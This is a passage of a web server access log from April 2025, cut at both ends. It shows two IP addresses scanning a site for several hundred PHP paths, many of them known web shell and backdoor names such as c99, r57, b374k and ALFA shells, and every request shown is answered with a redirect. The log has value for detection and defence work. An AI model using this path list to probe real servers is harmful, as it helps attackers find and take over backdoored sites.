"-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:27 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:27 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:28 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:28 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:29 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:29 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:33 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:33 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:34 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:34 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:35 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:35 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:36 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:36 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:37 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:37 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:38 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:38 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:38 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:39 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:39 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:39 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:40 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:40 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:40 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:41 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:41 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:41 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:42 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:43 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:43 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:43 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:44 -0400] "GET /02.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:44 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:44 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:44 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:46 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:46 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:47 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:47 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:47 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:47 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:48 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:48 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:48 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:49 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:49 -0400] "GET /index_.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:49 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:49 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:49 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:50 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:50 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:50 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:50 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:50 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:51 -0400] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:51 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:51 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:51 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:52 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:52 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:52 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:52 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:53 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:53 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:53 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:54 -0400] "GET /.well-known/caches.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:54 -0400] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:54 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:55 -0400] "GET /wp-admin/css/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:55 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:55 -0400] "GET /wp-admin/includes/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:56 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:56 -0400] "GET /wp-admin/maint/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:57 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:57 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:57 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:57 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:58 -0400] "GET /wp-content/plugins/xichang/x.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:58 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:58 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:58 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:59 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:00:59 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:59 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:00:59 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:00 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:00 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:00 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:01 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:01 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:01 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:01 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:02 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:02 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:03 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:03 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:04 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:04 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:05 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:05 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:07 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:07 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:08 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:08 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:08 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:09 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:11 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:11 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:12 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:13 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:13 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:13 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:14 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:15 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:15 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:17 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:17 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:18 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:18 -0400] "GET /amigo.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:18 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:19 -0400] "GET /yoi.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:19 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:19 -0400] "GET /wp-admin/codeboy1877_up.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:19 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:20 -0400] "GET /wp-includes/codeboy1877_up.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:20 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:20 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:20 -0400] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:21 -0400] "GET /jdimzmtaas.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:21 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:21 -0400] "GET /wp-content/iu.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:21 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:21 -0400] "GET /ccx/th3_err0r.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:22 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:22 -0400] "GET /cgi-bin/ffAA531.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:22 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:22 -0400] "GET /cgi-bin/991176.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:23 -0400] "GET /991176.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:23 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:23 -0400] "GET /wp-content/codeboy1877_up.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:23 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:23 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:24 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:24 -0400] "GET /post-data.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:24 -0400] "GET /w0.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:24 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:25 -0400] "GET /wsanon.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:25 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:25 -0400] "GET /wp-content/small.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:25 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:26 -0400] "GET /wp-content/mode.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:26 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:26 -0400] "GET /indo.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:26 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:27 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:27 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:27 -0400] "GET /archives.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:27 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:27 -0400] "GET /po8sa.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:28 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:28 -0400] "GET /thesmartestx.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:28 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:28 -0400] "GET /zcanp.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:28 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:29 -0400] "GET /burjuva.aspx HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:29 -0400] "GET /pvt.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:29 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:29 -0400] "GET /cgi-bin/wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:29 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:30 -0400] "GET /crypted.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:30 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:30 -0400] "GET /h0110w4y.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:30 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:31 -0400] "GET /vesiw.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:31 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:31 -0400] "GET /wp-db.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:31 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:31 -0400] "GET /wp-includes/lx.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:32 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:32 -0400] "GET /wp-content/ice.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:32 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:32 -0400] "GET /wp-content/lx.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:32 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:33 -0400] "GET /lx.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:33 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:33 -0400] "GET /tonant.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:33 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:34 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:34 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:34 -0400] "GET /config.bak.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:35 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:35 -0400] "GET /bypass403.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:35 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:35 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:36 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:36 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:36 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:36 -0400] "GET /allahnaber.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:37 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:37 -0400] "GET /AK-74.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:38 -0400] "GET /alfa3.php/ HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:38 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:38 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:38 -0400] "GET /b374k.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:39 -0400] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:39 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:39 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:40 -0400] "GET /cw.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:40 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:40 -0400] "GET /icomsium.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:40 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:41 -0400] "GET /ico.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:41 -0400] "GET /mass.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:41 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:41 -0400] "GET /pws.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:42 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:42 -0400] "GET /r57.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:42 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:42 -0400] "GET /robots.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:43 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:43 -0400] "GET /wp-content/batm.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:43 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:43 -0400] "GET /wp-content/masshp.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:44 -0400] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:44 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:44 -0400] "GET /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:44 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:45 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:45 -0400] "GET /ALFA_DATA/alfacgiapi/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:45 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:45 -0400] "GET /ALFA_DATA/alfacgiapi/c99.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:46 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:46 -0400] "GET /ALFA_DATA/alfacgiapi/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.104.253 - - [18/Apr/2025:18:01:46 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:01:46 -0400] "GET 